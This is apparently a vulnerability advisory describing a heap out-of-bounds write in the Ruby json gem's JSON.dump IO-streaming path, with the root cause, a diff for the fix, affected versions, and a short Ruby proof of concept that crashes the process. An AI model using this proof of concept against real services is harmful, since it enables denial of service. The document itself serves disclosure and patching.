GHSA-x2f5-4prf-w687

    Dashboard / Vulnerabilities / GHSA-x2f5-4prf-w687

    GHSA-x2f5-4prf-w687

    Published: 23 Jul 2026Last Modified: 10 Sept 2026

    Summary: Ruby json: JSON generator heap buffer overflow when streaming to an IO

    Details: ### Summary `JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service. This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here. ### Details Root cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`. On the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the early return checks total capacity instead of remaining capacity: ```c if (RB_UNLIKELY(fb->io)) { if (fb->capa < FBUFFER_IO_BUFFER_SIZE) { fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE); } else { fbuffer_flush(fb); } if (RB_LIKELY(requested < fb->capa)) { return; } } ``` If `fb->len` already contains JSON syntax bytes, and a string flush has `16383 - fb->len <= requested < 16383`, this check returns even though there is not enough space left. `fbuffer_append_reserved()` then writes past the buffer: ```c MEMCPY(fb->ptr + fb->len, newstr, char, len); ``` The minimal fix is to compare against the remaining capacity: ```diff - if (RB_LIKELY(requested < fb->capa)) { + if (RB_LIKELY(requested <= fb->capa - fb->len)) { return; } ``` ### PoC ```ruby require "json" require "stringio" io = StringIO.new big = "a" * 16385 big[16382] = '"' # escapable byte near the buffer boundary JSON.dump([big], io) ``` Verified results: ```text Ruby 4.0.5 / bundled json 2.18.0: malloc(): invalid size (unsorted) .../json/common.rb:956: [BUG] Aborted ruby/ruby master c78418b7a0 / json 2.19.8 / ASan: heap-buffer-overflow WRITE of size 16382 fbuffer_append_reserved ext/json/fbuffer/fbuffer.h:145 search_flush ext/json/generator/generator.c:139 convert_UTF8_to_JSON ext/json/generator/generator.c:231 raw_generate_json_string ext/json/generator/generator.c:922 cState_m_generate ext/json/generator/generator.c:1891 ``` Control: the same data through `JSON.dump([big])` without an IO argument returns normally. The bug is specific to the IO-streaming path. ### Impact A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through `JSON.dump(obj, io)` or `JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.

    Affected packages

    Package

    Name: json

    Purl: pkg:gem/json

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 2.9.0
    Fixed -2.19.9

    Affected versions

    2.10.0
    2.10.1
    2.10.2

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-x2f5-4prf-w687 | CVE-DB